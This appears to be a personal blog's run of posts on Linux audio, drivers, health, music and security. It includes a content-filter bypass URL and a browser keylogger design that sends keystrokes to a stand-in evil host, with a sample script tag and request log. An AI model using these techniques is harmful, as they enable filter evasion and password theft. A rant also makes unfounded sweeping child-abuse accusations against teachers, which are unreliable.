Anyway, deciding I’d take a little peek in the first random Firefox filtering plugin that I could find, downloaded it from “some site”, and unpacked the XPI.

This immediately caught my eye, and any coders should see the obvious error:

    //don't hide page if within FoxFilter mgmt pages
    if(aURI.spec.indexOf("chrome://foxfilter") != -1)
        return;

That is definitely not the way to check for such an URL. Quite a “beginners” error actually. I wanted to confirm this makes the whole filter useless, but was incorrectly thinking that I had to register first before using the plugin — so closed the browser and deleted the add-on.

Later I thought differently, and couldn’t resist finding it again and re-installing it. This time I downloaded it from the Mozilla Add-On site; and an agreement I had to agree to. Oh well…

There this caught my eye though: “The FoxFilter Team has spent HUNDREDS of hours in development, maintenance and support of FoxFilter. We are very proud of our product and are very happy that is helping protect children, teens AND adults from inappropriate content on the Internet.“.

Hundreds of hours missed that obvious error? Took me barely 5 seconds… OK enough with the being cocky already…

Anyway, downloaded the thing again; re-installed it and confirmed filtering was succesful when I went to “http://www.playboy.com”.

And, confirmed that it horribly failed on “http://www.playboy.com/?chrome://foxfilter“.

Yep, it is that easy. Then to think people pay for something it cannot really do (well until it is patched of course):

Premium Features

In addition to all of the great filtering features that have always been free of charge, we also offer security features as part of our premium service. Security features provide you with the ability to secure your settings with a password and prevent FoxFilter from being bypassed, uninstalled or disabled. A small support fee is required to obtain a registration code which enables the security features.

I’ve always thought that one should never, ever, trust software to do things that they claim to do properly. Even the most advanced logic could be bypassed by a silly mistake before it even reaches your advanced logic. If you got the chance to check it out, you should — just to prevent surprises in the future…

OK back into my lair…

Quite annoying, I do not want that process to die (nor the “jackd” process).

After having stumbled upon this page about the OOM killer, I wrote this little script, which I run just after jackd and linuxsampler have set-up (as root of course).

It’ll write the value -17 (OOM_DISABLE) to /proc/<pid>/oom_adj for selected process-names and this ought to prevent the OOM killer from ever targeting that process.

Haven’t seen it crashing on me since — but of course, your mileage may very…

The hardware collection is slowly growing (still in the process of acquiring all the basics though). The most recent addition was a 61-keys USB MIDI keyboard. I always wanted to have a velocity-sensitive keyboard since I was a young kid. Back in the days those things were awfully expensive and now they are very reasonably priced! (Next obstacle: actually learn to play the damn thing. )

Anyway, almost everything in the set-up works fine. I could play back my compositions — but the ‘jackrec’ utility was inserting static after 10 or 15 seconds (always at about the same time, but it depended on the buffer size that I used).

This prevented me from getting a whole piece olayed back and recorded into a file. Kind of a bummer, that being the most essential part of the process…

Before debugging it myself, I tried compiling a more recent version which “just works” perfectly. So that was cool.

Having updated LinuxSampler recently as well, today I have been testing out the complete set-up of “new” audio software to get to grips with the “mastering process” to get Rosegarden compositions into a portable format like WAV and MP3.

My Rosegarden app is running on a real-time kernel and it uses MIDI (over network transport with JACK) to talk to my LinuxSampler running on another machine (also a real-time kernel)… Latency isn’t that bad at all. (But I do have the machines on a seperate switch so they don’t have to deal with all the other network traffic.)

I free-styled a short little piece with, at times, a hideously out-of-tune accompaniment (I didn’t care to re-do it or to tweak it). I did care about the even more hideous percussion track — which I have muted in the final file below.

The Reverb and EQ-ing is done real-time with ‘jack-rack’, but that is something that I really need to do later in the process. Not only would it reduce load and latency; doing it later would allow me access to some non-realtime LADSPA plugins (with Audacity).

BTW, speaking of Audacity, one of the most cool features is, when zoomed in at a high level, you can use a draw tool to polish away clicks and pops.

The original recording of the “mastered” file had one distinct click that I could get rid of in such a way.

Check it out — it’s free “music”! (Yeh, you get what you pay for )

Next time somebody believes your usage of the dollar sign when typing “MS” is childish, re-direct those people to that article….

‘Nuff said…

If he is prevented from committing suicide, and if he’s technically any good, he is most probably going to end up working for the US army.

Either way, good bye Gary, and do whatever you got to do…

<rant>
I know your story shall not be forgotten. In fact, this is surely going to cause more agression towards the USA — which, of course, is exactly the plan: the more people upset with the US, the more people organise — which means that more groups of people can be targeted as “sleeper cells” and end-up as so-called non-combatants in some foreign prison getting humiliated…

The more we look at this and get used to it, the easier this excuse can be used to take out any voices of freedom. (Freedom != democracy — you could be called a non-thinking idiot to think otherwise.) From terrorists to the non-violent political groups — people arrested and never to be heard of again. This “movement” has been happening for almost a decade now — it started since that 9/11-facade and has been speeding up ever since.

Speeding items shall definitely run into a wall at some point, but I sincerely hope it won’t do too much damage to the not-so-guilty. (We’re all responsible for baking this global shitcake, actually…)
</rant>

I had to use ‘midimon’ to find the correct values and changed the defines in nekobee_synth.h.

After doing this, I found that the Volume knob was not responding correctly (it was not updating while I twisted it, nor did the sound change). I had to mess around in another file as well…

If you also want to be able to use the X-Session Pro mixer controller as a musical instrument: here is the patch.

I was pleasantly surprised to notice that Rosegarden nicely records those tweaks as well, so if I play back my composition, the knobs in the interface turn, too. Nice

One word of warning though: this patch locks the controls to the X-Session Pro. In the event of other hardware and having changed these mappings again, all your old compositions in your favourite MIDI sequencer shall no longer play back like it sounded before. Keep this in mind…

As a young kid I bought almost all the Art Of Noise’s music. Likewise, Rakim (of Eric B and Rakim fame) has been an inspiration as well…

And I only just now discovered they once did a collaboration together… Sweet!

But never gotten further than the actual script that generates all the different states of a “volume knob”:

As I never shall get around to finishing my own skin anyway, I have posted a sample of these knobs to the Mixxx mailing list for comments as I believe they can make Mixxx look better.

Since then, some comments have been applied and a seperate ‘balance knob’ is now rendered.

These buttons can be used as replacement buttons for the outlineNetbook skin, or any other skin that uses 29×29 size buttons.

Updated: The balance knob, when centered shows a single green led and the marker line is now darker.

If you want to use them as well: here it is.

The best I could get Mixxx to run using ALSA devices was with 32 ms latency. And even then, audio still occasionally popped and cracked (worse even when the Nvidia driver was still using agpgart).

Popping and cracking kinda ruins the whole experience, so the potential performance benefit of a functioning JACK set-up is something that I “needed”.

Not working
For some reason though, initially, I could not get Mixxx and JACK work nicely together with my AUDIO4DJ audio interface.

This USB audio interface has 2 stereo in- and outputs; and I could only get either 1 output and 1 input. Without a headphone output and a 2nd input for vinyl control using JACK would render the whole set-up useless…

Some Googling did reveal some hints, like modifying the /etc/asound.conf file. I thought I had already done that earlier; but apparently this does not work with JACK.

See, my “old” asound.conf split the audio device up to two devices (I used one for the Master, and the other one for the Headphone output in Mixxx.) JACK can only handle one (or I am doing something wrong), so that had to be changed…

Solutions suggested in this thread on the NI forums did not work for me either, I ended up with the same problem basically: only one input and one output.

Working!
That thread did give me a hint to the solution — the following /etc/asound.conf, works for me like it should: it exposes a single “AUDIO4DJ” device, which binds stereo channels A and B to it:
pcm.AUDIO4DJ {
    type multi
    # bind hardware devices
    slaves.a.pcm "hw:0,0,0"
    slaves.a.channels 2
    slaves.b.pcm "hw:0,0,1"
    slaves.b.channels 2
    # bind channels to virtual device
    bindings.0.slave a
    bindings.0.channel 0
    bindings.1.slave a
    bindings.1.channel 1
    bindings.2.slave b
    bindings.2.channel 0
    bindings.3.slave b
    bindings.3.channel 1
}

(Note that slaves.b.pcm “hw:0,0,1″ — which points it to the B channel.)

That way, I can now use that “AUDIODJ4″ as a device-name in qjackctl as Input- and Output Device, each giving 4 channels (2 stereo channels).

If I now go into the Audio preferences in Mixxx, I can select channels 1-2 for the Master output and channels 3-4 for the Headphones. Similarly, for Vinyl Control, the first input deck can be put on channels 1-2 and the second on channels 3-4..

It took a bit of tinkering but, again, it was worth it!

Now that JACK is properly working and Mixxx can use it, vinyl control response is amazing and the audio playback is exceptional — I haven’t heard a pop or crack since!

This wasn’t as easy as it seemed as for some reason, blacklisting the ‘agpgart’ module did not seem to have any effect.

Why is it still loading the agpgart driver?
Running “modprobe -nv nvidia” it showed that it kept depending on the ‘agpgart’ module somehow.

A quick Google only showed other people having the problem, but alas, no solution.

Further poking around, I noticed when doing a “depmod -v” — which outputs module dependencies to standard out — that the nvidia module indeed depended on it.

Aha!
Hmmm… So I dove into the NVIDIA driver source (which I had to modify for a real-time kernel anyways, so the unpacked nvidia installer package was still on my system), and noticed the culprit.

The nv-linux.h file contains the following lines:
#if defined (CONFIG_AGP) || defined (CONFIG_AGP_MODULE)
#define AGPGART
#include <linux/agp_backend.h>
#include <linux/agpgart.h>
#endif
The CONFIG_AGP and CONFIG_AGP_MODULE it gets from your kernel configuration and presumably, this is what compiles in stuff that makes it depend on the ‘agpgart’ module. I put those lines in as /* comments */ and tried loading the module.

Indeed, it now does not depend on ‘agpgart’ anymore and shall use ‘nvagp’ now. And the time spent on it was worth it: I even got about 200 frames per second increase with glxgears.

Interesting times ahead for my pet project NG-BASIC!

After long deliberation I have decided to transfer the ownership; transfer the ownership to a new owner that is going to breathe fresh life into the project.

It shall be actively developed on — something which I can’t do anymore as I seem to be wasting more and more spare time on work.

I must say it feels weird to let go of it… I guess it’s similar to what an artist feels when he sells a painting (well I like to think so anyway).

When I initially wrote it I never expected anyone to be interested at all. Perhaps one or two like-minded people — I did not expect more for a “toy” programming language.

The emails I got and the amount of downloads over the years show differently: there’s still quite an interest in BASIC, be it because of the geekiness of it running in a browser; to quickly get some calculations done; to explain somebody the basics of a programming concept; or — for people born in the 70s and 80s — just out of pure nostalgia.

So, that’s all very cool and I’m glad that people enjoyed it and hope they will do so in the future.

I believe it will be in good hands at its new home. In a different context (read: not on my personal weblog with, for perhaps some people some non-subtle opinions) it can even reach a broader audience…

It will surely be interesting to see how it’ll develop, literally.

Farewell — may it be in for a nice ride!

And I was really happy with it until the first time it did not want to boot after shutting down.

The first time I push the power button, the lights went on, the fans started to blow out some air; and then, nothing.

Second time I pushed it, it shows the BIOS booting and then, the screen clears and then… nothing.

I can push the power button again to turn it off and then the cycle repeats itself. Interestingly is that, when booting the second time, it IS possible to enter the BIOS settings (although rebooting from that shuts down the laptop again). Different settings in the BIOS, resetting to defaults, been there done that to no avail.

Thinking, hey, it’s a new laptop, perhaps something is loose (memory, etcetera). I opened the case, unseated and re-seated the memory banks. Put the thing together and it booted again.

Yay.

So I keep it running all the time, only to reboot when it’s really necessary.

The second time it happened, I reseated the memory again: no luck. I grounded myself and touched the metal things on the laptop, for any static electricity to ‘go away’.

I tried to boot: Yay!

The last time it happened, yesterday, I reseated the memory, unloaded the static electricity.

But nothing.

Googled my ass off to discover more folks having the same problem. After reading things about ‘resetting’ something power-related by pressing the power button for 30 seconds with the battery and AC detached, decided to give that a shot.

Meanwhile I had moved to laptop to another room (perhaps it was a ‘mains’ problem so tried another socket — one thinks weird things under duress *hehe*), where I had left it, battery and mains detached already incidentally. So I went upstairs, held down that button for about 60 seconds. Tried to boot.. YES it booted.

Linux mentioned stuff about clock skew detected. Oh fsck yeah, I forgot I had reset the BIOS — had even removed that button-cell battery after reading that solved stuff for some people. So I quickly shutdown again to put the date settings correctly.

I should have done that from within Linux silly me: now it didn’t want to boot again.

Same problem — and holding down the button again for 30-60 seconds didn’t do the trick this time.

Patience seems to solve everything: I left the laptop, again, AC and battery detached for I think may have been 2 hours. Tried to boot it for the heck of it and it did so without problem.

It seems that something has to cool down or something — as it works after a long time of waiting. Perhaps static electricity, I don’t know. What I do know is that at that point it is not necessary to hold down the power button for 30+ seconds anymore…

So if you have this problem, and tried everything except the ‘patience’-hack: try to occupy yourself with something else — after an hour it may well boot fine!

Hope this may help other folks out there that have been pulling their hairs out over this.

Edit: Oh, I forgot to mention I will probably not ever buy an Acer laptop again. I called their support line yesterday around 5 o’clock. Now, day later, at 11:30, I still haven’t got a call back. WTF.

Edit: Last night my laptop went into sleep mode when I disconnected the AC and closed the lid… Oh no. But this morning, having cooled down properly, it booted in one go. No tinkering with memory modules or unloading of static electricity… Patience solves it. (Problem is, you do not have patience, when you are in a hurry…)

This was probably the best concert I’ve seen in my whole damn life.

Ab-so-fucking-lutely awesome.

After reading about Red Bull and coffee (and other high-caffeine drinks) being possible ways to stop or prevent an attack, I have reason to suspect that my heavy coffee drinking might have played a role, though:

What if my constant coffee-drinking has always prevented the condition from getting noticed?

So as a means of experiment, I doubled my coffee-intake yesterday (I must say, it has been a while feeling that “caffeine-buzz” which I felt after only 4 mugs), to see what would happen that evening. I had one moment that I felt a headache coming up at which moment I took another mug of coffee.

I kept an eye on the clock and 20 o’clock passed without any headache at all. That seems quite promising, although it’s difficult to say whether the coffee is really helping, I might have had no painful headaches that day anyway.

(And of course, it’s still not sure that I really suffer from cluster-headaches, it could just as well be some weird coincidence.)

Today, as part of my little experiment, I’m dropping back to just 3 mugs again to see what happens.

Until, a few of months ago, my stomach started acting up on me after drinking my WTF-mug filled with coffee. Seriously thinking it was the coffee, I started to cut down on my coffee-intake from that day on.

I usually drank about 10 to 12 of those mugs and the days after that was severily reduced to about 2 or 3 mugs: one or two in the morning (to wake up), and one in the evening after dinner.

Having built up a fair dependancy on caffeine; the headaches of course started to get worse.

Somehow, the brain still longs for caffeine — or the extra water-intake that comes with it — and your body lets you know it by giving you a headache to cope with.

Now, I used to have these types of headaches a lot, especially in the weekends in which I did not drink as much coffee as I have done during the week. These headaches weren’t anything “new” to me, I have had these long enough to think that it was coffee / caffeine related: if I had them in the evening (which I used to have regularly, somewhere between 19 and 20 o’clock, I had always fingered caffeine as the one responsible.

If you have drank liters of coffee a day and suddenly reduce that to barely 1 liter of coffee, your body starts to complain, or has a change to get used to. Well, at least mine did. The first couple of weeks were relatively easy, after 2/3 weeks, I started to really feel those ‘caffeine-dependancy-headaches’ as I’ve grown to call those.

The amount and intensity of these slowly reduced, even convincing me I was on the right track cutting down on coffee because the headaches went away.

Cluster Headaches
Now, a buddy of mine has been suffering from a condition called “cluster headaches” (Wikipedia page here) for quite a while now.

Honestly, the first time I heard of this, I think must be 2 years ago by now, I did think it was similar to what I was having — but I was still too busy blaming caffeine at that point and didn’t pay it no more mind.

Recently however, the intensity of my headache now increases again: “attacks” that last for about an hour, usually a bit less but sometimes even a whole hour longer.

I also noticed a slight difference that I had not felt before: the normal “caffeine-headache” I used to have concentrated mostly in the temple — but these headaches I was also having felt like being stung by something sharp in my eyes from behind at the same time: a subtle difference that I probably haven’t noticed earlier.

So there I was, earlier this week, lying on the couch, waiting for the pain to pass, when this friend suffering from the condition coincidentally came by our house. I told him about my headache-episode I was having at that time and how it felt. He immediately recognized it — especially the stingy pain behind the eye which sometimes can be really, really painful, making you want to roll on the floor in pain…

So, it wasn’t the caffeine after all and I may have been suffering from this quite some time now. The funny thing is, I have only really starting to get bothered by it the last couple of months, where before I thought it was caffeine related, the pain didn’t seem to take me out like it does now. It seems like its intensity is increasing over time…

Oh well, I’ll see how this pans out…

Updates
13:30: I discovered www.clusterheadaches.com and the “quiz” there. If I may have been in doubt, I’m most surely not anymore…

Last month my employer went bankrupt and me and some colleagues haven’t been payed for a couple of months.

It sucks…. There’s the issue of some back-pay that I still have to get back which comes with some paperwork and requires me to go through those old-cardboard boxes I call “my past”.. Hopefully I get most of it: 3 months not getting payed kinda drains your bank-account….

So that’s what’s been up lately, I just updated my CV here and thought I’d leave this little note. Hopefully things will settle soon though, so I can finally *really* laugh about this shit.

Yay.

As a result I am now delisted from Google’s index.

Apparently, this has been going on for a couple of months, but I was too busy with actual work so I never read any articles about it on the security-sites I normally occasionally visit.

Oh well, shit happens, and stuff has quickly been cleaned up (thank you, backups!) … and for safety have upgraded to the latest WordPress version. Not having upgraded a while ago, I was really just waiting for this to happen (yeh, lazy sysadmins et cetera )…

Seeing that basically the attacker could run any PHP code of his/her choice, which could include calling system binaries to retrieve information about user accounts or passwords. As I can not be a 100% sure about that at this moment, all the passwords have been reset to protect the innocent.

I am curious how long it’ll take before I get listed on Google again (as I still see Googlebot regularly visit the site)…

And… it’s not people that abuse things who harm people — it’s the people that put those things there without thinking.

An explaination: I have always been intrigued by HTML forms. As a paranoid person, I have always wondered whether companies or websites are logging keypresses to their website. Picture the situation where you want to leave feedback at a site… but finally do not hit the “Send” button because of various reasons, like, for instance, the tone was too harsh so you decide not to. For the website it could have been very useful information: unsent comment or feedback may be more valuable than the ones that are actually arriving in their inboxes.

That was quite some time ago — and I didn’t give it any more thought until recently… See, I noticed that, for instance when I have worked the whole day, or the operating system is just acting up, sometimes the wrong window has the focus, and I am happily typing away, seeing nothing appear in the window I was staring at…. (Yeh, it happens.)

Now, there could be even more valuable information! Interesting bits of text, login names — or even better, accidentally typed passwords!

With that in my paranoid mind, I started tinkering around with Javascript to see if this is actually possible… I quickly put together some rather trivial code that captures the KeyboardEvent, inspects it, and collects them all into a string. Through the body’s onunload I called a routine that displayed an alert saying something like “Hey, you left these keypresses at this website: the collected string“.

Using the onunload however has several drawbacks:
- it isn’t always called (for instance, when the browser crashes),
- it seems the body’s onunload can only be set when the document is generated, that kinda sucks if you wanted to do be able to do the keylogging by simply loading some remotely stored Javascript file.

The curious and experimenting person that I am, I realised a bad guy would be not collecting the information and printing it — but would be sending them to a remote machine. Hmm, a remote machine, so AJAX won’t do… but there are always images…. What if I dynamically create an image, with a src pointing to some other website, with the pressed character in the GET request? Nice and simple, right?

OK, so now the keylogger is loaded and active when the following line is somehow inserted into a website:

<script type=”text/javascript” src=”http://someevilmachine/wtfjs.php”></script>

This simple single script, when loaded, attaches itself to the keyPressDown event of the document, of course remembering any old setting so to be able to pass the event through to any “local” code on the target website, as an attempt to go “undetected”.

Also, modern websites have all kinds of Javascript running, and could do some additional “setting up” from Javascript from which the event handlers get set… In an attempt to take this into account, the logger attaches itself after a delay of a given amount of milliseconds. After that, the moment a keypress event is received in the window, the requests appear in the logfile on the remote website (obligatory dump follows):

GET /temp/wtfimg.php?c=d HTTP/1.1″ 200 –
GET /temp/wtfimg.php?c=s HTTP/1.1″ 200 –
GET /temp/wtfimg.php?c=d HTTP/1.1″ 200 -

The drawback to the method currently, is that it sends a request with every keystroke made, which may be noticed by the more adept computer user… it would be possible to send collected strings at a given interval… But really, actually building a succesful keylogger isn’t the point; the point was figuring out if it is really doable (which, non-surprisingly, it is).

By the way, I’m rightly aware of the fact that I am discussing nothing really new here — this is absolutely no cutting-edge stuff. More interestingly, this has probably already been done by bad guys for ages.

On some websites with many authors that incidentally have the permission to insert Javascript, these “lower level” users could be able to catch passwords of administrative users, et cetera.

All-in-all, the only thing I am really frigging flabbergasted at, is the fact that an <input type="password"> actually sends the pressed key in a keypress event… WTF!? Knowing this, and wanting to “protect” a password entry field, I tried it by giving it its own onkeypress-handler….. I figured that it would get precendence over the documents’ keypress, but alas, it doesn’t…

It seems that there is no way to guard against this, other than to re-set your “local” event handlers regularly (which is no solution but a hack!)…

In conclusion, I really think that the password input type should somehow be prevented from putting any valid information about the pressed key into the KeyboardEvent. I know it’s used for comparing 2 passwords to validate a user’s password change for instance — but some hash could perfectly suffice there.

I am convinced the website-scripter should not ever have to have access to the real password entered in that field from Javascript — thinking that that could achieve some ‘protection’ is a flawed train of thought anyways…

Oh by the way, if you are looking for code: I will not release it here. It really isn’t difficult to cook some up yourself.

It’s is now sitting on the top of my house whistling and whistling and whistling and whistling and whistling and whistling and whistling and whistling and I wonder where it gets all that energy from… The Duracell bunny ain’t got nothing on that bird!

I was just reading Bruce Schneier’s CRYPTO-GRAM and he linked to this suprisingly good track (direct link to MP3) by MC Frontalot, called Secrets From The Future (direct link to the lyrics).

To quote the chorus:

You can’t hide secrets from the future with math.
You can try, but I bet that in the future they laugh
at the half-assed schemes and algorithms amassed
to enforce cryptographs in the past.

I dig it — I really, really dig it.

This song makes me want to own a car again … so that I can play this song on repeat — really, really frigging loud.

Everlast, Rap, Rock, War, Middle-East

Interestingly, the school does not file a complaint against the teacher because it wasn’t the teachers intension to show it on the screen. Also, a representative of the school now downplays the stories that initially went around, especially about the girl being a minor.

Of course, these sicko’s will “protect” each-other and they will probably “share” kids between them.

This isn’t the first time this same frigging school has a child-abuse-related incident: a few kids were abused, and even one teacher was screwing with a 16 year old and another once dangled his penis in front of the entire class-room. I heard some other “vague” stories about teachers suddenly being replaced by another teacher due to a “burn-out”.

If that story ever went around your school — that a teacher had a burn-out and had to be replaced — the odds are the teacher was a frigging paedophile that loved children just a tad too much, I’m sure!

I don’t know what comedian said it first, but “anyone who likes to work with children is suspect”..

See, my girlfriend found the new site set up by Everlast (to spread the word about his new album, Love War and The Ghost of Whitey Ford, I assume) called “Martyr Inc.“. (A pretty nice design job it is, I must say.)

I just love page 3 in the Book of Life, which I can relate to as we still had obligatory military service here in the Netherlands and that P.E. song was an inspiration to me to ‘rebel’ at that time.

Anyways I thought I’d spread the link here as well, as I know some of the few readers I have are into the same music.

(Oh yeah, and a happy new year and all that.)